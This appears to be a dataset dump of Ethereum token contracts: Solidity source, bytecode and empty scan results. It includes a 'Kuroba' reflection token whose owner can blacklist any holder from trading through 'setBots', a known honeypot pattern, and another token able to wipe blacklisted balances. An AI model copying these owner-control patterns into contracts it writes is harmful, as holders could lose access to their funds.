manager = newManager;
}
modifier onlyOwnerOrManager() {
require((msg.sender == owner) || (msg.sender == manager));
_;
}
event Issue(address indexed _to, uint256 value);
event Profit(uint256 value);
function issue(uint256 amount) public onlyOwnerOrManager {
require(totalSupply_ + amount > totalSupply_);
require(balances[owner] + amount > balances[owner]);
balances[owner] = balances[owner].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Issue(owner, amount);
emit Transfer(owner, address(0), amount);
}
function profit(uint256 amount) public onlyOwnerOrManager{
require(amount <= balances[owner]);
emit Profit(amount);
}
function easyCommit(uint256 _issue, uint256 _redeem, uint256 _profit) public returns(bool)
{
issue(_issue);
burn(_redeem);
profit(_profit);
return true;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns(bool)
{
require(!isBlackListed[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns(bool)
{
require(!isBlackListed[_from]);
return super.transferFrom(_from, _to, _value);
}
function getBlackListStatus(address _maker) public view returns(bool) {
return isBlackListed[_maker];
}
mapping(address => bool) public isBlackListed;
function addBlackList(address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList(address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds(address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
totalSupply_ = totalSupply_.sub(dirtyFunds);
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
|
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610179578063095ea7b3146102035780630ecb93c01461023b5780631241ee7d1461025e57806318160ddd1461027657806323b872dd1461029d578063313ce567146102c75780633f4ba83a146102f257806342966c6814610307578063453920cb1461031f578063481c6a75146103b657806359bf1abe146103e75780635c975abb14610408578063661884631461041d5780636b7273121461044157806370a082311461045f578063715018a6146104805780638456cb59146104955780638da5cb5b146104aa57806395d89b41146104bf578063a3fbbaae146104d4578063a9059cbb146104f5578063cc872b6614610519578063d73dd62314610531578063dd62ed3e14610555578063e47d60601461057c578063e4997dc51461059d578063f2fde38b146105be578063f3bdc228146105df575b600080fd5b34801561018557600080fd5b5061018e610600565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c85781810151838201526020016101b0565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020f57600080fd5b50610227600160a060020a036004351660243561068e565b604080519115158252519081900360200190f35b34801561024757600080fd5b5061025c600160a060020a03600435166106b9565b005b34801561026a57600080fd5b5061025c60043561072b565b34801561028257600080fd5b5061028b6107bb565b60408051918252519081900360200190f35b3480156102a957600080fd5b50610227600160a060020a03600435811690602435166044356107c2565b3480156102d357600080fd5b506102dc61080e565b6040805160ff9092168252519081900360200190f35b3480156102fe57600080fd5b5061025c610817565b34801561031357600080fd5b5061025c60043561088f565b34801561032b57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261025c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061089c9650505050505050565b3480156103c257600080fd5b506103cb6108df565b60408051600160a060020a039092168252519081900360200190f35b3480156103f357600080fd5b50610227600160a060020a03600435166108f3565b34801561041457600080fd5b50610227610911565b34801561042957600080fd5b50610227600160a060020a0360043516602435610921565b34801561044d57600080fd5b50610227600435602435604435610945565b34801561046b57600080fd5b5061028b600160a060020a036004351661096c565b34801561048c57600080fd5b5061025c610987565b3480156104a157600080fd5b5061025c6109f5565b3480156104b657600080fd5b506103cb610a72565b3480156104cb57600080fd5b5061018e610a81565b3480156104e057600080fd5b5061025c600160a060020a0360043516610adc565b34801561050157600080fd5b50610227600160a060020a0360043516602435610b28565b34801561052557600080fd5b5061025c600435610b69565b34801561053d57600080fd5b50610227600160a060020a0360043516602435610ca7565b34801561056157600080fd5b5061028b600160a060020a0360043581169060243516610ccb565b34801561058857600080fd5b50610227600160a060020a0360043516610cf6565b3480156105a957600080fd5b5061025c600160a060020a0360043516610d0b565b3480156105ca57600080fd5b5061025c600160a060020a0360043516610d7a565b3480156105eb57600080fd5b5061025c600160a060020a0360043516610d9a565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106865780601f1061065b57610100808354040283529160200191610686565b820191906000526020600020905b81548152906001019060200180831161066957829003601f168201915b505050505081565b60035460009060a060020a900460ff16156106a857600080fd5b6106b28383610e5e565b9392505050565b600354600160a060020a031633146106d057600080fd5b600160a060020a038116600081815260076020908152604091829020805460ff19166001179055815192835290517f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc9281900390910190a150565b600354600160a060020a031633148061075357506006546101009004600160a060020a031633145b151561075e57600080fd5b600354600160a060020a031660009081526020819052604090205481111561078557600080fd5b6040805182815290517f357d905f1831209797df4d55d79c5c5bf1d9f7311c976afd05e13d881eab9bc89181900360200190a150565b6001545b90565b6000606060643610156107d457600080fd5b600160a060020a03851660009081526007602052604090205460ff16156107fa57600080fd5b610805858585610ec4565b95945050505050565b60065460ff1681565b600354600160a060020a0316331461082e57600080fd5b60035460a060020a900460ff16151561084657600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6108993382610ee9565b50565b600354600160a060020a031633146108b357600080fd5b81516108c690600490602085019061145c565b5080516108da90600590602084019061145c565b505050565b6006546101009004600160a060020a031681565b600160a060020a031660009081526007602052604090205460ff1690565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561093b57600080fd5b6106b28383610fd8565b600061095084610b69565b6109598361088f565b6109628261072b565b5060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461099e57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a03163314610a0c57600080fd5b60035460a060020a900460ff1615610a2357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106865780601f1061065b57610100808354040283529160200191610686565b600354600160a060020a03163314610af357600080fd5b60068054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600060406044361015610b3a57600080fd5b3360009081526007602052604090205460ff1615610b5757600080fd5b610b6184846110c8565b949350505050565b600354600160a060020a0316331480610b9157506006546101009004600160a060020a031633145b1515610b9c57600080fd5b60015481810111610bac57600080fd5b600354600160a060020a031660009081526020819052604090205481810111610bd457600080fd5b600354600160a060020a0316600090815260208190526040902054610bff908263ffffffff6110ec16565b600354600160a060020a0316600090815260208190526040902055600154610c2d908263ffffffff6110ec16565b600155600354604080518381529051600160a060020a03909216917fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c169181900360200190a2600354604080518381529051600092600160a060020a0316916000805160206114f5833981519152919081900360200190a350565b60035460009060a060020a900460ff1615610cc157600080fd5b6106b283836110ff565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60076020526000908152604090205460ff1681565b600354600160a060020a03163314610d2257600080fd5b600160a060020a038116600081815260076020908152604091829020805460ff19169055815192835290517fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c9281900390910190a150565b600354600160a060020a03163314610d9157600080fd5b61089981611198565b600354600090600160a060020a03163314610db457600080fd5b600160a060020a03821660009081526007602052604090205460ff161515610ddb57600080fd5b610de48261096c565b600160a060020a038316600090815260208190526040812055600154909150610e13908263ffffffff61121616565b60015560408051600160a060020a03841681526020810183905281517f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c6929181900390910190a15050565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035460009060a060020a900460ff1615610ede57600080fd5b610b61848484611228565b600160a060020a038216600090815260208190526040902054811115610f0e57600080fd5b600160a060020a038216600090815260208190526040902054610f37908263ffffffff61121616565b600160a060020a038316600090815260208190526040902055600154610f63908263ffffffff61121616565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206114f58339815191529181900360200190a35050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561102d57336000908152600260209081526040808320600160a060020a0388168452909152812055611062565b61103d818463ffffffff61121616565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60035460009060a060020a900460ff16156110e257600080fd5b6106b2838361138d565b818101828110156110f957fe5b92915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054611133908363ffffffff6110ec16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03811615156111ad57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561122257fe5b50900390565b6000600160a060020a038316151561123f57600080fd5b600160a060020a03841660009081526020819052604090205482111561126457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561129457600080fd5b600160a060020a0384166000908152602081905260409020546112bd908363ffffffff61121616565b600160a060020a0380861660009081526020819052604080822093909355908516815220546112f2908363ffffffff6110ec16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054611334908363ffffffff61121616565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391926000805160206114f5833981519152929181900390910190a35060019392505050565b6000600160a060020a03831615156113a457600080fd5b336000908152602081905260409020548211156113c057600080fd5b336000908152602081905260409020546113e0908363ffffffff61121616565b3360009081526020819052604080822092909255600160a060020a03851681522054611412908363ffffffff6110ec16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206114f58339815191529281900390910190a350600192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061149d57805160ff19168380011785556114ca565b828001600101855582156114ca579182015b828111156114ca5782518255916020019190600101906114af565b506114d69291506114da565b5090565b6107bf91905b808211156114d657600081556001016114e05600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820238b961c0a18e8a35ded3643ad449e43638acafc6ecaf3d880d3ad5a43c0c1ba0029
|
{"success": true, "error": null, "results": {}}
| 4,455 |
0x3106b6bd955831d747bb5fae087d9ed2fa5049f3
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/**
*/
/**
/**
//SPDX-License-Identifier: UNLICENSED
Telegram: https://t.me/KurobaPortal
Website: https://kuroba.finance
Twitter: https://twitter.com/KurobaEth
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kuroba is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Kuroba";
string private constant _symbol = "Kuroba";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xCf952eC34325D55bfCe8Cce537F5ef73aFbbe5ed);
_feeAddrWallet2 = payable(0x3Bec4E98b21eaEDd3071EaB3a0D0243Ccfb7EF49);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610295578063b515566a146102b5578063c3c8cd80146102d5578063c9567bf9146102ea578063dd62ed3e146102ff57600080fd5b806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c5578063313ce567146101e75780635932ead1146102035780636fc3eaec1461022357600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260068152654b75726f626160d01b602082015290516101439190611792565b60405180910390f35b34801561015857600080fd5b5061016c610167366004611632565b610345565b6040519015158152602001610143565b34801561018857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610143565b3480156101b157600080fd5b5061016c6101c03660046115f1565b61035c565b3480156101d157600080fd5b506101e56101e036600461157e565b6103c5565b005b3480156101f357600080fd5b5060405160098152602001610143565b34801561020f57600080fd5b506101e561021e36600461172a565b610419565b34801561022f57600080fd5b506101e5610461565b34801561024457600080fd5b5061019761025336600461157e565b61048e565b34801561026457600080fd5b506101e56104b0565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610143565b3480156102a157600080fd5b5061016c6102b0366004611632565b610524565b3480156102c157600080fd5b506101e56102d036600461165e565b610531565b3480156102e157600080fd5b506101e56105c7565b3480156102f657600080fd5b506101e56105fd565b34801561030b57600080fd5b5061019761031a3660046115b8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103523384846109c6565b5060015b92915050565b6000610369848484610aea565b6103bb84336103b68560405180606001604052806028815260200161197e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e35565b6109c6565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef906117e7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104435760405162461bcd60e51b81526004016103ef906117e7565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048157600080fd5b4761048b81610e6f565b50565b6001600160a01b03811660009081526002602052604081205461035690610ef4565b6000546001600160a01b031633146104da5760405162461bcd60e51b81526004016103ef906117e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610352338484610aea565b6000546001600160a01b0316331461055b5760405162461bcd60e51b81526004016103ef906117e7565b60005b81518110156105c35760016006600084848151811061057f5761057f61192e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bb816118fd565b91505061055e565b5050565b600c546001600160a01b0316336001600160a01b0316146105e757600080fd5b60006105f23061048e565b905061048b81610f78565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016103ef906117e7565b600f54600160a01b900460ff16156106815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ef565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c130826b033b2e3c9fd0803ce80000006109c6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fa57600080fd5b505afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610732919061159b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077a57600080fd5b505afa15801561078e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b2919061159b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610832919061159b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108628161048e565b6000806108776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109139190611764565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c39190611747565b6001600160a01b038316610a285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ef565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ef565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ef565b60008111610c125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ef565b6001600a55600b80556000546001600160a01b03848116911614801590610c4757506000546001600160a01b03838116911614155b15610e25576001600160a01b03831660009081526006602052604090205460ff16158015610c8e57506001600160a01b03821660009081526006602052604090205460ff16155b610c9757600080fd5b600f546001600160a01b038481169116148015610cc25750600e546001600160a01b03838116911614155b8015610ce757506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfc5750600f54600160b81b900460ff165b15610d5957601054811115610d1057600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3457600080fd5b610d3f42603c61188d565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d845750600e546001600160a01b03848116911614155b8015610da957506001600160a01b03831660009081526005602052604090205460ff16155b15610db8576001600a55600b80555b6000610dc33061048e565b600f54909150600160a81b900460ff16158015610dee5750600f546001600160a01b03858116911614155b8015610e035750600f54600160b01b900460ff165b15610e2357610e1181610f78565b478015610e2157610e2147610e6f565b505b505b610e30838383611101565b505050565b60008184841115610e595760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118e6565b95945050505050565b600c546001600160a01b03166108fc610e8983600261110c565b6040518115909202916000818181858888f19350505050158015610eb1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecc83600261110c565b6040518115909202916000818181858888f193505050501580156105c3573d6000803e3d6000fd5b6000600854821115610f5b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ef565b6000610f6561114e565b9050610f71838261110c565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc057610fc061192e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101457600080fd5b505afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c919061159b565b8160018151811061105f5761105f61192e565b6001600160a01b039283166020918202929092010152600e5461108591309116846109c6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161181c565b600060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e30838383611171565b6000610f7183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611268565b600080600061115b611296565b909250905061116a828261110c565b9250505090565b600080600080600080611183876112de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b5908761133b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e4908661137d565b6001600160a01b03891660009081526002602052604090205561120